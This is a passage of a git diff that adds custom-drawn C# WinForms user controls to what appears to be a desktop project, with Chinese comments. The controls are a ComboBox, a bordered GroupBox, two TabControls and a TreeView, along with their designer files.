SolidBrush(_BorderColor)), rect); + //// 绘制选中文字背景 + //for (int i = 0; i < Items.Count; i++) + //{ + // if (SelectedItem != null) + // { + // if (SelectedItem.ToString() == Items[i].ToString()) + // { + // Rectangle rectSel = new Rectangle(1, e.Bounds.Height * (SelectedIndex), e.Bounds.Width - 2, e.Bounds.Height - 2); + // e.Graphics.FillRectangle(new SolidBrush(Color.White), rectSel); + // } + // } + // // 绘制文字 + // e.Graphics.DrawString(Items[i].ToString(), Font, new SolidBrush(_FontColor), new PointF(0, i * (e.Bounds.Height == 0 ? 16 : e.Bounds.Height))); + //} + + if (e.Index >= 0) + { + e.Graphics.FillRectangle(new SolidBrush(_BoxCenterColor), e.Bounds); + if ((e.State & DrawItemState.Focus) == DrawItemState.Focus || (e.State & DrawItemState.Selected) == DrawItemState.Selected) + { + // 设置鼠标悬浮ComboBox的item的背景色 + e.Graphics.FillRectangle(Brushes.White, e.Bounds); + } + else if (((e.State & DrawItemState.ComboBoxEdit) != DrawItemState.ComboBoxEdit)) + { + // 默认背景 + e.Graphics.FillRectangle(new SolidBrush(e.BackColor), e.Bounds); + } + // 绘制文字 + e.Graphics.DrawString(Items[e.Index].ToString(), Font, new SolidBrush(_FontColor), new PointF(e.Bounds.X, e.Bounds.Y)); + } + } + + + protected override void WndProc(ref Message m) + { + try + { + // WM_PAINT = 0xf; 要求一个窗口重画自己,即Paint事件时 + // WM_CTLCOLOREDIT = 0x133; 当一个编辑型控件将要被绘制时发送此消息给它的父窗口; + // 通过响应这条消息,所有者窗口可以通过使用给定的相关显示设备的句柄来设置编辑框的文本和背景颜色 + // windows消息值表,可参考:http://hi.baidu.com/dooy/blog/item/0e770a24f70e3b2cd407421b.html + if (m.Msg == 0xf || m.Msg == 0x133) + { + IntPtr hDC = GetWindowDC(m.HWnd); + if (hDC.ToInt32() == 0) //如果取设备上下文失败则返回 + { + return; + } + + // 建立Graphics对像 + Graphics g = Graphics.FromHdc(hDC); + Rectangle rect = new Rectangle(0, 0, Width - 1, Height - 1); + Rectangle rectCenter = new Rectangle(1, 1, Width - 3, Height - 2); + Color boxBackColor = Enabled ? _BoxBackColor : Color.FromArgb(255, 200, 200, 200); + Color boxCenterColor = Enabled ? _BoxCenterColor : Color.FromArgb(255, 200, 200, 200); + Color fontColor = Enabled ? _FontColor : Color.FromArgb(255, 127, 127, 127); + Color arrorColor = Enabled ? _ArrowColor : Color.FromArgb(255, 127, 127, 127); + // 填充框外颜色(预留,可扩展为带圆角矩形的阴影特效) + g.DrawRectangle(new Pen(_BoxBackColor), rect); + // 填充框内颜色 + if (this.DropDownStyle == ComboBoxStyle.DropDownList) + { + g.FillRectangle(new SolidBrush(boxCenterColor), rectCenter); + } + // 填充下拉按钮 + g.FillRectangle(new SolidBrush(boxCenterColor), Width - Height + 2, 1, Height - 3, Height - 2); + // 绘制边框 + //ControlPaint.DrawBorder(g, rect, _BorderColor, _BorderStyle); + g.DrawPolygon(new Pen(new SolidBrush(_BorderColor), 1), new Point[] { + new Point(0, 0), new Point(Width, 0), new Point(Width, Height), new Point(0, Height), new Point(0, 1) }); + // 绘制下拉按钮边框 + //ControlPaint.DrawBorder(g, new Rectangle(Width - Height + 3, 0, Height - 3, Height), Color.Red, ButtonBorderStyle.Solid); + // 绘制下拉按钮坚线 + g.DrawLine(new Pen(_BorderColor, 1), new PointF(this.Width - this.Height + 3, 0), new PointF(this.Width - this.Height + 3, this.Height)); + string selValue = this.Text; + //string text = Enabled ? selValue : ""; + string text = selValue; + // 绘制下拉按钮箭头 + if (_ArrowFlag) + { + g.DrawLines(new Pen(arrorColor, _ArrowWidth), new PointF[] { + new PointF(this.Width - 6, this.Height / 2 - 2), + new PointF(this.Width - 10, this.Height / 2 + 2), + new PointF(this.Width - 14, this.Height / 2 - 2) + }); + } + if (this.DropDownStyle == ComboBoxStyle.DropDownList) + { + // 绘制文本 + g.TextRenderingHint = System.Drawing.Text.TextRenderingHint.ClearTypeGridFit; + g.DrawString(text, Font, new SolidBrush(fontColor), 1, 3); + //// 绘制选中文本及背景 // 废弃 + //if (this.SelectionLength > 0 && SelectionStart >= 0 && SelectionStart + SelectionLength <= text.Length) + //{ + // var sizeLeft = g.MeasureString(text.Substring(0, SelectionStart), Font); + // var sizeSelect = g.MeasureString(text.Substring(SelectionStart, SelectionLength), Font); + // var left = sizeLeft.Width == 0 ? 3 : sizeLeft.Width - 1; + // var width = sizeSelect.Width - 3; + // Rectangle selectRect = new Rectangle((int)left, 3, (int)width, (int)sizeSelect.Height - 1); + // g.FillRectangle(new SolidBrush(Color.FromArgb(51, 153, 255)), selectRect); + // g.DrawString((text.Substring(SelectionStart, SelectionLength)), Font, new SolidBrush(Color.White), left - 2, 3); + //} + } + ReleaseDC(m.HWnd, hDC); + } + else + { + } + } + catch (Exception ex) { } + + //if (m.Msg == 0x0014) // 禁掉清除背景消息 + // return; + base.WndProc(ref m); + } + + private void InitializeComponent() + { + this.SuspendLayout(); + this.ResumeLayout(false); + } + } +} diff --git a/TEMUKJD/UserComponent/UcGroupBoxEx.Designer.cs b/TEMUKJD/UserComponent/UcGroupBoxEx.Designer.cs new file mode 100644 index 0000000..c3e2d4b --- /dev/null +++ b/TEMUKJD/UserComponent/UcGroupBoxEx.Designer.cs @@ -0,0 +1,36 @@ +namespace LittleRabbit.UserComponent +{ + partial class UcGroupBoxEx + { + /// + /// 必需的设计器变量。 + /// + private System.ComponentModel.IContainer components = null; + + /// + /// 清理所有正在使用的资源。 + /// + /// 如果应释放托管资源,为 true;否则为 false。 + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region 组件设计器生成的代码 + + /// + /// 设计器支持所需的方法 - 不要修改 + /// 使用代码编辑器修改此方法的内容。 + /// + private void InitializeComponent() + { + components = new System.ComponentModel.Container(); + } + + #endregion + } +} diff --git a/TEMUKJD/UserComponent/UcGroupBoxEx.cs b/TEMUKJD/UserComponent/UcGroupBoxEx.cs new file mode 100644 index 0000000..03ee507 --- /dev/null +++ b/TEMUKJD/UserComponent/UcGroupBoxEx.cs @@ -0,0 +1,114 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Diagnostics; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace LittleRabbit.UserComponent +{ + /// + /// 可以改变边框颜色的groupbox + /// + public partial class UcGroupBoxEx : GroupBox + { + private Color _BorderColor = Color.FromArgb(33, 202, 99); + private GroupBoxBorderStyle _BorderStyle = GroupBoxBorderStyle.ROUND; + + [Browsable(true), Description("边框颜色"), Category("自定义分组")] + public Color BorderColor + { + get { return _BorderColor; } + set + { + _BorderColor = value; + this.Invalidate(); + } + } + + [Browsable(true), Description("边框样式"), Category("自定义分组")] + public GroupBoxBorderStyle BorderStyle + { + get { return _BorderStyle; } + set + { + _BorderStyle = value; + this.Invalidate(); + } + } + + public UcGroupBoxEx() + { + InitializeComponent(); + } + + public UcGroupBoxEx(IContainer container) + { + container.Add(this); + + InitializeComponent(); + } + + /// + /// 重写OnPaint绘制自定义效果 + /// + /// + protected override void OnPaint(PaintEventArgs e) + { + e.Graphics.Clear(this.BackColor); + // 绘制字体 + e.Graphics.DrawString(this.Text, this.Font, new SolidBrush(this.ForeColor), 10, 1); + // 计算文本大小 + var vSize = e.Graphics.MeasureString(this.Text, this.Font); + Pen vPen = new Pen(this._BorderColor); + // 绘制矩形 + if (_BorderStyle == GroupBoxBorderStyle.SQUARE) + { + e.Graphics.DrawLine(vPen, 2, vSize.Height / 2, 8, vSize.Height / 2); // 标题左侧 + e.Graphics.DrawLine(vPen, vSize.Width + 8, vSize.Height / 2, this.Width - 3, vSize.Height / 2); // 标题右侧 + e.Graphics.DrawLine(vPen, 2, vSize.Height / 2, 2, this.Height - 3); // 左侧 + e.Graphics.DrawLine(vPen, 2, this.Height - 3, this.Width - 3, this.Height - 3); // 底部 + e.Graphics.DrawLine(vPen, this.Width - 3, vSize.Height / 2, this.Width - 3, this.Height - 3); // 右侧 + } + // 绘制圆角矩形 + else + { + e.Graphics.DrawLine(vPen, 4, vSize.Height / 2, 8, vSize.Height / 2); // 标题左侧 + e.Graphics.DrawLine(vPen, vSize.Width + 8, vSize.Height / 2, this.Width - 5, vSize.Height / 2); // 标题右侧 + e.Graphics.DrawLine(vPen, 2, vSize.Height / 2 + 2, 2, this.Height - 5); // 左侧 + e.Graphics.DrawLine(vPen, 4, this.Height - 3, this.Width - 5, this.Height - 3); // 底部 + e.Graphics.DrawLine(vPen, this.Width - 3, vSize.Height / 2 + 2, this.Width - 3, this.Height - 5); // 右侧 + // 边角直线模拟圆角 + e.Graphics.DrawLine(vPen, 2, vSize.Height / 2 + 2, 4, vSize.Height / 2); // 左上角 + e.Graphics.DrawLine(vPen, this.Width - 5, vSize.Height / 2, this.Width - 3, vSize.Height / 2 + 2); // 右上角 + e.Graphics.DrawLine(vPen, this.Width - 3, this.Height - 5, this.Width - 5, this.Height - 3); // 右下角 + e.Graphics.DrawLine(vPen, 4, this.Height - 3, 2, this.Height - 5); // 左下角 + } + } + + protected override void WndProc(ref Message m) + { + base.WndProc(ref m); + + try + { + // WM_NCCALCSIZE 0x0083 当计算某个窗口的客户区大小和位置时发送此消息 + // windows消息值表,可参考:http://hi.baidu.com/dooy/blog/item/0e770a24f70e3b2cd407421b.html + if (m.Msg == 0x83) + { + this.Invalidate(); + } + } + catch { } + } + + public enum GroupBoxBorderStyle + { + ROUND, + SQUARE, + } + } +} diff --git a/TEMUKJD/UserComponent/UcTabControl.cs b/TEMUKJD/UserComponent/UcTabControl.cs new file mode 100644 index 0000000..17b5f2f --- /dev/null +++ b/TEMUKJD/UserComponent/UcTabControl.cs @@ -0,0 +1,194 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Drawing; +using System.Data; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; +using System.Runtime.InteropServices; + +namespace LittleRabbit.UserComponent +{ + public partial class UcTabControl : TabControl + { + public UcTabControl() + { + InitializeComponent(); + + base.SetStyle( + ControlStyles.UserPaint | // 控件将自行绘制,而不是通过操作系统来绘制 + ControlStyles.OptimizedDoubleBuffer | // 该控件首先在缓冲区中绘制,而不是直接绘制到屏幕上,这样可以减少闪烁 + ControlStyles.AllPaintingInWmPaint | // 控件将忽略 WM_ERASEBKGND 窗口消息以减少闪烁 + ControlStyles.ResizeRedraw | // 在调整控件大小时重绘控件 + ControlStyles.SupportsTransparentBackColor, // 控件接受 alpha 组件小于 255 的 BackColor 以模拟透明 + true); // 设置以上值为 true + base.UpdateStyles(); + //this.SizeMode = TabSizeMode.Fixed; + + this.MouseDown += UcTabControl_MouseDown; + } + + private void UcTabControl_MouseDown(object sender, MouseEventArgs e) + { + if (this.TabCount == 0) + return; + + if (e.Button == MouseButtons.Left) + { + if (!showCloseButton) + return; + + int x = e.X, y = e.Y; + Rectangle rect = this.GetTabRect(this.SelectedIndex); + Rectangle closeRect = new Rectangle(rect.X + rect.Width - 16, rect.Y + rect.Height / 2 - 4, 8, 8); + + if (x >= closeRect.X && y >= closeRect.Y && x <= closeRect.X + closeRect.Width && y <= closeRect.Y + closeRect.Height) + { + this.TabPages.Remove(this.SelectedTab); + } + } + } + + private Color backgroundColor = Color.FromArgb(251, 251, 251); + [Browsable(true), Category("自定义分组"), Description("Tab控件背景")] + public Color BackgroundColor + { + get { return backgroundColor; } + set + { + backgroundColor = value; + this.Invalidate(); + } + } + + private Color tabSelectColor = Color.Red; + [Browsable(true), Category("自定义分组"), Description("Tab选中颜色")] + public Color TabSelectColor + { + get { return tabSelectColor; } + set + { + tabSelectColor = value; + this.Invalidate(); + } + } + + private Color tabTextColor = Color.Gray; + [Browsable(true), Category("自定义分组"), Description("Tab选中颜色")] + public Color TabTextColor + { + get { return tabTextColor; } + set + { + tabTextColor = value; + this.Invalidate(); + } + } + + private bool showCloseButton = false; + [Browsable(true), Category("自定义分组"), Description("显示关闭页面按钮")] + public bool ShowCloseButton + { + get { return showCloseButton; } + set + { + showCloseButton = value; + + if (showCloseButton) + this.Padding = new Point(10, this.Padding.Y); + else + this.Padding = new Point(6, this.Padding.Y); + this.Invalidate(); + } + } + + #region 去掉或减小TabControl的边框(去掉的话+-3) + protected override void WndProc(ref Message m) + { + if ((m.Msg == TCM_ADJUSTRECT)) + { + RECT rc = (RECT)m.GetLParam(typeof(RECT)); + //Adjust these values to suit, dependant upon Appearance + rc.Left -= 2; + rc.Right += 0; + rc.Top -= 0; + rc.Bottom += 0; + Marshal.StructureToPtr(rc, m.LParam, true); + } + base.WndProc(ref m); + } + + private const Int32 TCM_FIRST = 0x1300; + private const Int32 TCM_ADJUSTRECT = (TCM_FIRST + 40); + private struct RECT + { + public Int32 Left; + public Int32 Top; + public Int32 Right; + public Int32 Bottom; + } + #endregion + + Size oldSize = new Size(); + protected override void OnPaint(PaintEventArgs e) + { + if (TabPages.Count > 0 && oldSize.Width != this.Size.Width && this.SizeMode == TabSizeMode.Fixed) + { + //this.SizeMode = TabSizeMode.Fixed; + this.ItemSize = new Size((int)Math.Floor(1.0 * (this.Width - 4) / TabPages.Count), 40); + oldSize.Width = this.Size.Width; + } + + // 绘制背景 + e.Graphics.FillRectangle(new SolidBrush(backgroundColor), new RectangleF(0, 0, this.Width, this.Height)); + + // 绘制边框 + //e.Graphics.DrawRectangle(new Pen(backgroundColor), 0, 0, this.Width, this.Height); + //e.Graphics.DrawLine(new Pen(tabSelectColor), 2, this.GetTabRect(0).Bottom, this.Width - 6, this.GetTabRect(0).Bottom); + + // 绘制tab控件 + for (int i = 0; i < this.TabCount; i++) + { + // Calculate text position + Rectangle bounds = this.GetTabRect(i); + PointF textPoint = new PointF(); + SizeF textSize = TextRenderer.MeasureText(this.TabPages[i].Text, this.Font); + // 加上每个标签的左偏移量X + textPoint.X = bounds.X + (bounds.Width - textSize.Width) / 2; + textPoint.Y = bounds.Y + (bounds.Height - textSize.Height) / 2; + if (showCloseButton) + textPoint.X -= 5; + // 绘制标题 + e.Graphics.TextRenderingHint = System.Drawing.Text.TextRenderingHint.AntiAliasGridFit; + e.Graphics.DrawString(this.TabPages[i].Text, this.Font, new SolidBrush(tabTextColor), textPoint.X, textPoint.Y); + + // 绘制tab框 + //e.Graphics.DrawRectangle(Pens.Red, this.GetTabRect(i)); + if (this.SelectedIndex == i) + { + for (int j = 0; j < 1; j++) + e.Graphics.DrawLine(new Pen(tabSelectColor), + new Point(this.GetTabRect(i).Left + 0, this.GetTabRect(i).Bottom - j), + new Point(this.GetTabRect(i).Right - 5, this.GetTabRect(i).Bottom - j)); + } + + // 绘制关闭按钮 + if (showCloseButton) + { + using (Pen pen = new Pen(Color.Gray, 1.4f)) + { + Point p1 = new Point(bounds.X + bounds.Width - 15, bounds.Y + bounds.Height / 2 - 3); + Point p2 = new Point(bounds.X + bounds.Width - 9, bounds.Y + bounds.Height / 2 + 3); + e.Graphics.DrawLine(pen, p1, p2); + + Point p3 = new Point(bounds.X + bounds.Width - 9, bounds.Y + bounds.Height / 2 - 3); + Point p4 = new Point(bounds.X + bounds.Width - 15, bounds.Y + bounds.Height / 2 + 3); + e.Graphics.DrawLine(pen, p3, p4); + } + } + } + } + } +} diff --git a/TEMUKJD/UserComponent/UcTabControl.designer.cs b/TEMUKJD/UserComponent/UcTabControl.designer.cs new file mode 100644 index 0000000..176c578 --- /dev/null +++ b/TEMUKJD/UserComponent/UcTabControl.designer.cs @@ -0,0 +1,36 @@ +namespace LittleRabbit.UserComponent +{ + partial class UcTabControl + { + /// + /// 必需的设计器变量。 + /// + private System.ComponentModel.IContainer components = null; + + /// + /// 清理所有正在使用的资源。 + /// + /// 如果应释放托管资源,为 true;否则为 false。 + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region 组件设计器生成的代码 + + /// + /// 设计器支持所需的方法 - 不要修改 + /// 使用代码编辑器修改此方法的内容。 + /// + private void InitializeComponent() + { + components = new System.ComponentModel.Container(); + } + + #endregion + } +} diff --git a/TEMUKJD/UserComponent/UcTabControlMetro.cs b/TEMUKJD/UserComponent/UcTabControlMetro.cs new file mode 100644 index 0000000..af9a14a --- /dev/null +++ b/TEMUKJD/UserComponent/UcTabControlMetro.cs @@ -0,0 +1,176 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Drawing; +using System.Data; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace PinBaoBao.UserControls +{ + public partial class UcTabControlMetro : TabControl + { + public UcTabControlMetro() + { + InitializeComponent(); + + base.SetStyle( + ControlStyles.UserPaint | // 控件将自行绘制,而不是通过操作系统来绘制 + ControlStyles.OptimizedDoubleBuffer | // 该控件首先在缓冲区中绘制,而不是直接绘制到屏幕上,这样可以减少闪烁 + ControlStyles.AllPaintingInWmPaint | // 控件将忽略 WM_ERASEBKGND 窗口消息以减少闪烁 + ControlStyles.ResizeRedraw | // 在调整控件大小时重绘控件 + ControlStyles.SupportsTransparentBackColor, // 控件接受 alpha 组件小于 255 的 BackColor 以模拟透明 + true); // 设置以上值为 true + base.UpdateStyles(); + //this.SizeMode = TabSizeMode.Fixed; + } + + private Color backgroundColor = Color.FromArgb(251, 251, 251); + [Browsable(true), Category("自定义分组"), Description("Tab控件背景")] + public Color BackgroundColor + { + get { return backgroundColor; } + set + { + backgroundColor = value; + this.Invalidate(); + } + } + + private Color borderColor = Color.FromArgb(0, 174, 157); + [Browsable(true), Category("自定义分组"), Description("Tab控件边框颜色")] + public Color BorderColor + { + get { return borderColor; } + set + { + borderColor = value; + this.Invalidate(); + } + } + + private Color tabSelectColor = Color.Red; + [Browsable(true), Category("自定义分组"), Description("Tab选中颜色")] + public Color TabSelectColor + { + get { return tabSelectColor; } + set + { + tabSelectColor = value; + this.Invalidate(); + } + } + + private Color tabSelectTextColor = Color.Gray; + [Browsable(true), Category("自定义分组"), Description("Tab选中文字颜色")] + public Color TabSelectTextColor + { + get { return tabSelectTextColor; } + set + { + tabSelectTextColor = value; + this.Invalidate(); + } + } + + private Color tabUnSelectTextColor = Color.White; + [Browsable(true), Category("自定义分组"), Description("Tab未选中文字颜色")] + public Color TabUnSelectTextColor + { + get { return tabUnSelectTextColor; } + set + { + tabUnSelectTextColor = value; + this.Invalidate(); + } + } + + private bool showCloseButton = false; + [Browsable(true), Category("自定义分组"), Description("显示关闭页面按钮")] + public bool ShowCloseButton + { + get { return showCloseButton; } + set + { + showCloseButton = value; + this.Invalidate(); + } + } + + Size oldSize = new Size(); + protected override void OnPaint(PaintEventArgs e) + { + if (TabPages.Count > 0 && oldSize.Width != this.Size.Width && this.SizeMode == TabSizeMode.Fixed) + { + //this.SizeMode = TabSizeMode.Fixed; + this.ItemSize = new Size((int)Math.Floor(1.0 * (this.Width - 4) / TabPages.Count), 40); + oldSize.Width = this.Size.Width; + } + + // 绘制背景 + e.Graphics.FillRectangle(new SolidBrush(backgroundColor), new RectangleF(0, 0, this.Width, this.Height)); + + // 绘制边框 + int startX = this.Margin.Left; + int startY = this.Margin.Top; + if (this.TabCount > 0) + { + startX = this.GetTabRect(0).Top; + startY = this.GetTabRect(0).Bottom; + } + e.Graphics.DrawRectangle(new Pen(tabSelectColor), startX, startY, this.Width - this.Margin.Right - startX, this.Height - this.Margin.Bottom - startY); + + // 绘制tab控件 + for (int i = 0; i < this.TabCount; i++) + { + // 计算tab标题位置 + Rectangle bounds = this.GetTabRect(i); + PointF textPoint = new PointF(); + SizeF textSize = TextRenderer.MeasureText(this.TabPages[i].Text, this.Font); + // 加上每个标签的左偏移量X + textPoint.X = bounds.X + (bounds.Width - textSize.Width) / 2; + textPoint.Y = bounds.Y + (bounds.Height - textSize.Height) / 2; + + // 当前选中的tab + if (this.SelectedIndex == i) + { + // 绘制tab框 + var rect = this.GetTabRect(i); + // 底部和背景色相同 + e.Graphics.DrawLine(new Pen(backgroundColor), new Point(rect.Left, rect.Bottom), new Point(rect.Right, rect.Bottom)); + e.Graphics.DrawLine(new Pen(tabSelectColor), new Point(rect.Left, rect.Bottom), new Point(rect.Left, rect.Top)); + e.Graphics.DrawLine(new Pen(tabSelectColor), new Point(rect.Left, rect.Top), new Point(rect.Right, rect.Top)); + e.Graphics.DrawLine(new Pen(tabSelectColor), new Point(rect.Right, rect.Top), new Point(rect.Right, rect.Bottom)); + // 绘制tab标题文字 + e.Graphics.TextRenderingHint = System.Drawing.Text.TextRenderingHint.SystemDefault; + e.Graphics.DrawString(this.TabPages[i].Text, this.Font, new SolidBrush(tabSelectTextColor), textPoint.X, textPoint.Y); + } + else + { + // 绘制tab框 + e.Graphics.FillRectangle(new SolidBrush(tabSelectColor), this.GetTabRect(i)); + // 绘制tab标题文字 + e.Graphics.TextRenderingHint = System.Drawing.Text.TextRenderingHint.SystemDefault; + e.Graphics.DrawString(this.TabPages[i].Text, this.Font, new SolidBrush(tabUnSelectTextColor), textPoint.X, textPoint.Y); + } + + // 绘制关闭按钮 + if (showCloseButton) + { + using (Pen pen = new Pen(Color.Gray, 1f)) + { + Point p1 = new Point(bounds.X + 10, bounds.Y + 10); + Point p2 = new Point(bounds.X + bounds.Width - 10, bounds.Y + bounds.Height - 10); + e.Graphics.DrawLine(pen, p1, p2); + + Point p3 = new Point(bounds.X + 10, bounds.Y + bounds.Height - 10); + Point p4 = new Point(bounds.X + bounds.Width - 10, bounds.Y + 10); + e.Graphics.DrawLine(pen, p3, p4); + } + } + } + } + } +} diff --git a/TEMUKJD/UserComponent/UcTabControlMetro.designer.cs b/TEMUKJD/UserComponent/UcTabControlMetro.designer.cs new file mode 100644 index 0000000..baedc9d --- /dev/null +++ b/TEMUKJD/UserComponent/UcTabControlMetro.designer.cs @@ -0,0 +1,36 @@ +namespace PinBaoBao.UserControls +{ + partial class UcTabControlMetro + { + /// + /// 必需的设计器变量。 + /// + private System.ComponentModel.IContainer components = null; + + /// + /// 清理所有正在使用的资源。 + /// + /// 如果应释放托管资源,为 true;否则为 false。 + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region 组件设计器生成的代码 + + /// + /// 设计器支持所需的方法 - 不要修改 + /// 使用代码编辑器修改此方法的内容。 + /// + private void InitializeComponent() + { + components = new System.ComponentModel.Container(); + } + + #endregion + } +} diff --git a/TEMUKJD/UserComponent/UcTreeView.Designer.cs b/TEMUKJD/UserComponent/UcTreeView.Designer.cs new file mode 100644 index 0000000..07479ba --- /dev/null +++ b/TEMUKJD/UserComponent/UcTreeView.Designer.cs @@ -0,0 +1,36 @@ +namespace LittleRabbit.UserComponent +{ + partial class UcTreeView + { + /// + /// 必需的设计器变量。 + /// + private System.ComponentModel.IContainer components = null; + + /// + /// 清理所有正在使用的资源。 + /// + /// 如果应释放托管资源,为 true;否则为 false。 + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region 组件设计器生成的代码 + + /// + /// 设计器支持所需的方法 - 不要修改 + /// 使用代码编辑器修改此方法的内容。 + /// + private void InitializeComponent() + { + components = new System.ComponentModel.Container(); + } + + #endregion + } +} diff --git a/TEMUKJD/UserComponent/UcTreeView.cs b/TEMUKJD/UserComponent/UcTreeView.cs new file mode 100644 index 0000000..f4b865d --- /dev/null +++ b/TEMUKJD/UserComponent/UcTreeView.cs @@ -0,0 +1,769 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Drawing; +using System.Data; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; +using System.Drawing.Drawing2D; +using System.Threading; + +namespace LittleRabbit.UserComponent +{ + /// + /// 基于树视图的任务控件 + /// + public partial class UcTreeView : TreeView + { + #region //construckor + /// + /// 自定义树视图控件构造函数 + /// + public UcTreeView() + { + FullRowSelect = true; + ShowLines = true; + // 开启双缓冲等 + this.SetStyle(ControlStyles.OptimizedDoubleBuffer | ControlStyles.EnableNotifyMessage | ControlStyles.ResizeRedraw | ControlStyles.AllPaintingInWmPaint, true); + this.DrawMode = TreeViewDrawMode.OwnerDrawAll; + this.ItemHeight = 32; + this.ShowLines = true; + this.AfterExpand += UserTreeView_AfterExpand; + this.AfterSelect += UserTreeView_AfterSelect; + this.Layout += UserTreeView_Layout; + if (Properties.Resources.ResourceManager.GetObject("tree_default_icon_select") != null) + defaultNodeImageSelect = (Bitmap)Properties.Resources.ResourceManager.GetObject("tree_default_icon_select"); + if (Properties.Resources.ResourceManager.GetObject("tree_default_icon") != null) + defaultNodeImage = (Bitmap)Properties.Resources.ResourceManager.GetObject("tree_default_icon"); + } + + protected override void OnNotifyMessage(Message m) + { + if (m.Msg != 0x14) + { + base.OnNotifyMessage(m); + } + } + + protected override CreateParams CreateParams + { + get + { + CreateParams cp = base.CreateParams; + cp.ExStyle |= 0x02000000; + return cp; + } + } + + private void UserTreeView_AfterSelect(object sender, TreeViewEventArgs e) + { + if (e.Node.Parent != null) + dicSelectNodeId[e.Node.Parent] = e.Node; + } + #endregion + + #region //event + // 定义委托 + public delegate void NodeGroupClickHandle(object sender, TreeViewEventArgs e); + + // 定义事件 + public event NodeGroupClickHandle NodeGroupClick; + + // 执行事件 + protected virtual void OnNodeGroupClick(TreeViewEventArgs e) + { + if (NodeGroupClick != null) + { + NodeGroupClick(this, e); + } + } + + private void UserTreeView_Layout(object sender, LayoutEventArgs e) + { + if (!DesignMode) + { + foreach (TreeNode node in this.Nodes) + { + if (node != null) + { + if (allNodes.Contains(node) == false) + allNodes.Add(node); + } + foreach (TreeNode childNode in node.Nodes) + { + if (node == null) + continue; + if (!dicNodeImageSelect.Keys.Contains(childNode)) + { + // 获取图标 + if (Properties.Resources.ResourceManager.GetObject("tree_" + childNode.Text + "_select") != null) + { + var bitmap = (Bitmap)Properties.Resources.ResourceManager.GetObject("tree_" + childNode.Text + "_select"); + dicNodeImageSelect[childNode] = bitmap; + } + } + if (!dicNodeImage.Keys.Contains(childNode)) + { + // 获取图标 + if (Properties.Resources.ResourceManager.GetObject("tree_" + childNode.Text) != null) + { + var bitmap = (Bitmap)Properties.Resources.ResourceManager.GetObject("tree_" + childNode.Text); + dicNodeImage[childNode] = bitmap; + } + } + } + } + } + } + + private void UserTreeView_AfterExpand(object sender, TreeViewEventArgs e) + { + BeginUpdate(); + if (HideCollapsedGroup && !DesignMode) + { + for (int i = 0; i < this.Nodes.Count; i++) + { + if (e.Node != this.Nodes[i]) + { + this.Nodes.Remove(this.Nodes[i]); + i--; + } + } + } + + foreach (TreeNode node in this.AllNodes) + { + if (node == null) + continue; + + if (node != e.Node) + { + node.Collapse(true); + } + else + { + if (this.SelectedNode == null || this.SelectedNode.Parent == node) + continue; + else if (dicSelectNodeId.Keys.Contains(node)) + this.SelectedNode = dicSelectNodeId[node]; + else if (node.Nodes.Count > 0) + this.SelectedNode = node.Nodes[0]; + } + } + EndUpdate(); + } + #endregion + + #region //field & property + private Bitmap defaultNodeImage; + private Bitmap defaultNodeImageSelect; + private List lstTreeNode = new List(); + private Dictionary dicSelectNodeId = new Dictionary(); + private Dictionary dicNodeImage = new Dictionary(); + private Dictionary dicNodeImageSelect = new Dictionary(); + /// + /// 展开按扭的大小 + /// + private Size ExpandButtonSize = new Size(16, 16); + private Color _ExpandButtonColor = Color.FromArgb(255, 255, 255); + /// + /// 展开按扭颜色 + /// + [Description("展开按扭颜色"), Category("UserProperty")] + public Color ExpandButtonColor + { + get + { + return _ExpandButtonColor; + } + set + { + if (_ExpandButtonColor != value) + { + _ExpandButtonColor = value; + this.Invalidate(); + } + } + } + private Color _GroupBgColor = Color.FromArgb(249, 249, 249); + /// + /// 分组栏背景色 + /// + [Description("分组栏背景色"), Category("UserProperty")] + public Color GroupBgColor + { + get + { + return _GroupBgColor; + } + set + { + if (_GroupBgColor != value) + { + _GroupBgColor = value; + this.Invalidate(); + } + } + } + + private Color _ChildNodeSelectedBgColor = Color.FromArgb(34, 148, 203); + /// + /// 子节点选中背景色 + /// + [Description("子节点选中背景色"), Category("UserProperty")] + public Color ChildNodeSelectedBgColor + { + get + { + return this._ChildNodeSelectedBgColor; + } + set + { + if (_ChildNodeSelectedBgColor != value) + { + _ChildNodeSelectedBgColor = value; + this.Invalidate(); + } + } + } + + private Color _GroupTitleColor = Color.FromArgb(80, 80, 80); + /// + /// 分组栏标题色 + /// + [Description("分组栏标题色"), Category("UserProperty")] + public Color GroupTitleColor + { + get + { + return _GroupTitleColor; + } + set + { + if (_GroupTitleColor != value) + { + _GroupTitleColor = value; + this.Invalidate(); + } + } + } + + private Color _OverForeColor = Color.FromArgb(235, 235, 235); + /// + /// 鼠标悬停色 + /// + [Description("鼠标悬停色"), Category("UserProperty")] + public Color OverForeColor + { + get + { + return _OverForeColor; + } + set + { + if (_OverForeColor != value) + { + _OverForeColor = value; + this.Invalidate(); + } + } + } + + private Font groupFont = new Font("宋体", 10.5f); + /// + /// 组标题字体样式 + /// + [Description("组标题字体样式"), Category("UserProperty")] + public Font GroupFont + { + get + { + return groupFont; + } + set + { + if (groupFont != value) + { + groupFont = value; + this.Invalidate(); + } + } + } + + private bool _HideCollpasedGroup = false; + [Description("隐藏折叠的组"), Category("UserProperty")] + public bool HideCollapsedGroup + { + get + { + return _HideCollpasedGroup; + } + set + { + if (_HideCollpasedGroup != value) + { + _HideCollpasedGroup = value; + this.Invalidate(); + } + } + } + + /// + /// 节点高度 + /// + public new int ItemHeight + { + get + { + return base.ItemHeight; + } + set + { + if (base.ItemHeight != value && value >= 20) + { + base.ItemHeight = value; + this.Invalidate(); + } + } + } + + private List allNodes = new List(); + /// + /// 所有节点列表 + /// + 